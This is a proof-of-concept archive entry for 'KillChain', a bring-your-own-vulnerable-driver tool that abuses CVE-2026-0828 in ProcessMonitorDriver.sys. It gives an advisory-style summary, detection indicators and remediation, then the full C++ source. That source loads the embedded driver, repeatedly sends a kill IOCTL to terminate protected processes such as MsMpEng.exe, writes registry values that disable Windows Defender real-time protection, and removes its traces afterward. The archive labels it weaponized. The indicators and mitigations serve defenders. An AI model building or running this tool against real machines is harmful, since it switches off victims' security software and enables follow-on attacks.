PoC Archive PoC Archive
High CVE-2026-0828 unpatched

KillChain — Vulnerable Kernel Driver IOCTL Protected-Process Termination (CVE-2026-0828)

by Eleven Red Pandas (oxfemale) · 2026-07-05

Severity
High
CVE
CVE-2026-0828
Category
binary
Affected product
ProcessMonitorDriver.sys (vulnerable third-party kernel driver)
Affected versions
As embedded/bundled in the KillChain tool
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherEleven Red Pandas (oxfemale)
CVE / AdvisoryCVE-2026-0828
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagsbyovd, kernel-driver, ioctl, process-termination, edr-killer, windows, privilege-escalation, defender-bypass
RelatedN/A

Affected Target

FieldValue
Software / SystemProcessMonitorDriver.sys (vulnerable third-party kernel driver)
Versions AffectedAs embedded/bundled in the KillChain tool
Language / PlatformC++ (user-mode tool); Windows kernel driver (target), x64
Authentication RequiredLocal-only (requires Administrator / SeLoadDriverPrivilege)
Network Access RequiredNo

Summary

KillChain is a fully-built “Bring Your Own Vulnerable Driver” (BYOVD) tool that embeds a vulnerable kernel driver, ProcessMonitorDriver.sys, directly inside its executable as a raw byte array. At runtime it extracts the driver to a temp path, registers it as a Windows service, loads it into the kernel via NtLoadDriver, and opens a handle to its device object \\.\STProcessMonitorDriver. The driver exposes an IOCTL (0xB822200C, IOCTL_KILL_PROCESS) that terminates an arbitrary process by PID with no access-control checks, allowing termination of protected processes (e.g. antivirus/EDR agents) that would normally resist user-mode termination attempts. The tool can target a process repeatedly by PID or by name over a bounded loop, and optionally flips a registry value to disable Windows Defender real-time protection after successfully killing its target — a capability squarely aimed at disabling endpoint security tooling as part of an attack chain.


Vulnerability Details

Root Cause

ProcessMonitorDriver.sys implements IOCTL_KILL_PROCESS without verifying the caller’s privilege level or the legitimacy of terminating protected/critical processes; any user-mode process with a handle to the device can submit a target PID and have the kernel-mode driver forcibly terminate it, bypassing Protected Process (PP/PPL) and standard EDR self-protection mechanisms that only guard against user-mode termination APIs.

Attack Vector

  1. Attacker with local Administrator rights (and SeLoadDriverPrivilege) runs the KillChain tool.
  2. The tool extracts its embedded ProcessMonitorDriver.sys to %TEMP%, creates a matching Service Control Manager service/registry key, and loads the driver into the kernel via NtLoadDriver.
  3. The tool opens \\.\STProcessMonitorDriver and repeatedly issues IOCTL_KILL_PROCESS requests, either for a fixed PID or by resolving a process name each iteration (useful for killing a self-restarting or watchdog-protected process).
  4. Optionally, after a couple of successful kills, the tool writes to HKLM\SOFTWARE\Policies\Microsoft\Windows Defender to disable real-time protection.
  5. On completion (or via --uninstall-driver), the tool unloads the driver, removes the service, and deletes the temp driver file to reduce forensic footprint.

Impact

Termination of security-critical or protected processes (including antivirus/EDR components) from a privileged but otherwise “restricted” execution context, plus optional disabling of Windows Defender — enabling attackers to blind endpoint defenses ahead of further malicious activity.


Environment / Lab Setup

Target:   Windows 10/11 x64, Administrator context, Test Signing Mode enabled (or signed driver)
Attacker: Visual Studio 2022 (C++20 toolset) to build KillChain.exe; embedded driver requires no separate .sys file

Proof of Concept

PoC Script

See KillChain.cpp, LoadDriver.h, Logger.h, and driverBytes.h in this folder.

1
2
3
KillChain.exe --name MsMpEng.exe
KillChain.exe --pid 1234 --log-level 2 --output log.txt
KillChain.exe --uninstall-driver

Running the tool extracts and loads the embedded vulnerable driver, then repeatedly sends IOCTL_KILL_PROCESS requests against the specified PID or process name (re-resolved each iteration) for up to 360 seconds, optionally disabling Windows Defender after the first couple of successful kills, and can later unload the driver and clean up via --uninstall-driver.


Detection & Indicators of Compromise

System event log: Service Control Manager 7045 — "EmbeddedDriverService" / STProcessMonitorDriver

\\.\STProcessMonitorDriver

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender  (unexpected DisableRealtimeMonitoring write)

Signs of compromise:

  • Unexpected kernel driver load events for a service extracted from %TEMP% shortly before a security process (e.g. MsMpEng.exe) terminates unexpectedly.
  • Windows Defender or other EDR/AV processes repeatedly dying and being immune to normal user-mode protection.
  • Registry modifications disabling Windows Defender real-time protection correlated with the above driver load.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 for ProcessMonitorDriver.sys — the driver should either be revoked/blocklisted via Microsoft’s vulnerable driver blocklist (HVCI/WDAC) or its IOCTL handler fixed to enforce caller privilege/protected-process checks
Interim mitigationEnable Windows HVCI and the Microsoft vulnerable driver blocklist, restrict SeLoadDriverPrivilege and driver-loading rights to trusted administrators only, and monitor for NtLoadDriver calls loading drivers from temp directories

References


Notes

Mirrored from https://github.com/oxfemale/KillChain on 2026-07-05. The repository’s sample.mp4 demo video (~25MB) was excluded from this mirror as an oversized evidence file; the source code, project files, embedded driver bytes (driverBytes.h), and one illustrative screenshot (killed.png) were kept.

KillChain.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
/*
* ProcessMonitorDriver.sys (CVE-2026-0828)
* 
* Description: A vulnerable kernel driver that allows user-mode applications to terminate protected processes by sending a
* custom IOCTL with the target PID. This driver is intended for educational and testing purposes only, and should not be used in production environments.
* 
* Features:
* - Terminate processes by PID or executable name
* - Optionally disable Windows Defender via registry modifications
* - Configurable logging with multiple verbosity levels and output options
* - Clean driver unloading and service cleanup functionality
* Usage:
* 1. Compile the driver and place it in the same directory as KillChain.exe
* 2. Run KillChain.exe with appropriate arguments to terminate target processes or disable Defender
* 3. Use --uninstall-driver to clean up the driver and registry entries after testing
* Disclaimer: This code is for educational purposes only. The author is not responsible for any misuse or damage caused by this tool.
* 
* Coded by Eleven Red Pandas:
* - GitHub: https://github.com/oxfemale
* - X: https://x.com/bytecodevm
* 
*/
#include <windows.h>
#include <tlhelp32.h>
#include "Logger.h"
#include "LoadDriver.h"

#define IOCTL_KILL_PROCESS 0xB822200C

Logger g_Logger;

DWORD GetPidByName(const char* procName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    DWORD pid = 0;

    int wideLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
    wchar_t* wideName = new wchar_t[wideLen];
    MultiByteToWideChar(CP_ACP, 0, procName, -1, wideName, wideLen);

    if (Process32FirstW(hSnap, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, wideName) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe32));
    }

    delete[] wideName;
    CloseHandle(hSnap);
    return pid;
}

void ShowHelp() {
    g_Logger.Raw(
        "Usage: KillChain.exe [options]\n"
        "\n"
        "Options:\n"
        "  --pid <PID>            Terminate process by PID\n"
        "  --name <ProcessName>   Terminate process by executable name\n"
        "  --disable-defender     Also disable Windows Defender via registry\n"
        "  --log-level <0-3>      Logging verbosity (0=errors, 1=normal, 2=verbose, 3=debug)\n"
        "  --output <file>        Save log output to file\n"
        "  --uninstall-driver     Unload driver, delete service and driver file\n"
        "  --help                 Show this help\n"
        "\n"
        "Examples:\n"
        "  KillChain.exe --name MsMpEng.exe\n"
        "  KillChain.exe --pid 1234 --log-level 2 --output log.txt\n"
        "  KillChain.exe --name notepad.exe --disable-defender\n"
        "  KillChain.exe --uninstall-driver\n",
        FOREGROUND_GREEN | FOREGROUND_INTENSITY
    );
}

void DisableWindowsDefender() {
    g_Logger.Info("Attempting to disable Windows Defender via registry...");
    HKEY key = NULL;
    HKEY new_key = NULL;
    DWORD disable = 1;

    LONG res = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "SOFTWARE\\Policies\\Microsoft\\Windows Defender",
        0, KEY_ALL_ACCESS, &key);
    if (res != ERROR_SUCCESS) {
        if (res == ERROR_ACCESS_DENIED)
            g_Logger.Error("Access denied. Run as Administrator.");
        else
            g_Logger.Error("Failed to open Windows Defender policy key. Error: %ld", res);
        return;
    }

    RegSetValueExA(key, "DisableAntiSpyware", 0, REG_DWORD,
        (const BYTE*)&disable, sizeof(disable));
    g_Logger.Debug("DisableAntiSpyware set to 1.");

    DWORD disposition;
    res = RegCreateKeyExA(key, "Real-Time Protection", 0, NULL,
        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
        NULL, &new_key, &disposition);
    if (res != ERROR_SUCCESS) {
        g_Logger.Error("Failed to create/open Real-Time Protection key. Error: %ld", res);
        RegCloseKey(key);
        return;
    }

    const char* rtValues[] = {
        "DisableRealtimeMonitoring",
        "DisableBehaviorMonitoring",
        "DisableScanOnRealtimeEnable",
        "DisableOnAccessProtection",
        "DisableIOAVProtection"
    };
    for (int i = 0; i < 5; i++) {
        RegSetValueExA(new_key, rtValues[i], 0, REG_DWORD,
            (const BYTE*)&disable, sizeof(disable));
        g_Logger.Debug("%s set to 1.", rtValues[i]);
    }

    RegCloseKey(key);
    RegCloseKey(new_key);
    g_Logger.Info("Windows Defender disable completed. Restart the computer to apply changes.");
}

int main(int argc, char* argv[]) {
    // Default values
    ULONG64 targetPid = 0;
    char targetName[256] = { 0 };
    bool disableDefender = false;
    bool uninstallDriver = false;
    int logLevel = 1;
    const char* outputFile = nullptr;

    PrintLogo();

    // Parse arguments
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--help") == 0) {
            ShowHelp();
            return 0;
        }
        else if (strcmp(argv[i], "--uninstall-driver") == 0) {
            uninstallDriver = true;
        }
        else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) {
            targetPid = _strtoui64(argv[++i], nullptr, 10);
        }
        else if (strcmp(argv[i], "--name") == 0 && i + 1 < argc) {
            strncpy_s(targetName, argv[++i], sizeof(targetName) - 1);
        }
        else if (strcmp(argv[i], "--disable-defender") == 0) {
            disableDefender = true;
        }
        else if (strcmp(argv[i], "--log-level") == 0 && i + 1 < argc) {
            logLevel = atoi(argv[++i]);
        }
        else if (strcmp(argv[i], "--output") == 0 && i + 1 < argc) {
            outputFile = argv[++i];
        }
        else {
            g_Logger.Error("Unknown option: %s", argv[i]);
            ShowHelp();
            return 1;
        }
    }

    // Initialize logger
    g_Logger.SetLogLevel(logLevel);
    if (outputFile) {
        if (!g_Logger.SetOutputFile(outputFile))
            g_Logger.Warning("Failed to open log file: %s", outputFile);
    }

    // Handle uninstall request
    if (uninstallDriver) {
        return UninstallDriver();
    }

    // If no target specified, show help
    if (targetPid == 0 && targetName[0] == 0) {
        ShowHelp();
        return 0;
    }

    // Load driver (skip if already loaded)
    if (LoadDriver(false) != 0) {
        g_Logger.Error("Driver loading failed. Exiting.");
        return 1;
    }

    // Open device once (reused in loop)
    HANDLE hDevice = CreateFileA("\\\\.\\STProcessMonitorDriver",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        g_Logger.Error("Failed to open device. Error: %lu", GetLastError());
        return 1;
    }
    g_Logger.Debug("Device opened successfully.");

    // Loop variables
    int terminatedCount = 0;
    bool defenderDisabled = false;
    DWORD startTime = GetTickCount();
    const DWORD maxDurationMs = 360 * 1000; // 360 seconds

    g_Logger.Info("Starting termination loop (max 360 seconds)...");

    while (true) {
        // Check timeout
        if (GetTickCount() - startTime >= maxDurationMs) {
            g_Logger.Warning("Timeout reached (360 seconds). Exiting loop.");
            break;
        }

        // Resolve PID if target is process name (re-check every iteration)
        if (targetName[0] != 0) {
            targetPid = GetPidByName(targetName);
            if (targetPid == 0) {
                g_Logger.Debug("Process %s not found, waiting...", targetName);
                Sleep(2000);
                continue;
            }
        }

        // Send kill IOCTL with dummy output buffer
        DWORD bytesReturned;
        DWORD dummyOutput = 0;
        BOOL result = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
            &targetPid, sizeof(targetPid),
            &dummyOutput, sizeof(dummyOutput),
            &bytesReturned, NULL);

        if (result) {
            g_Logger.Info("Process with PID %llu terminated successfully.", targetPid);
            terminatedCount++;

            if (disableDefender && !defenderDisabled && terminatedCount >= 2) {
                DisableWindowsDefender();
                defenderDisabled = true;
            }
        }
        else {
            DWORD err = GetLastError();
            if (err != ERROR_INSUFFICIENT_BUFFER) {
                g_Logger.Warning("Failed to terminate process (PID %llu). Error: %lu", targetPid, err);
            }
        }

        Sleep(2000);
    }

    CloseHandle(hDevice);
    g_Logger.Info("KillChain execution completed.");
    return 0;
}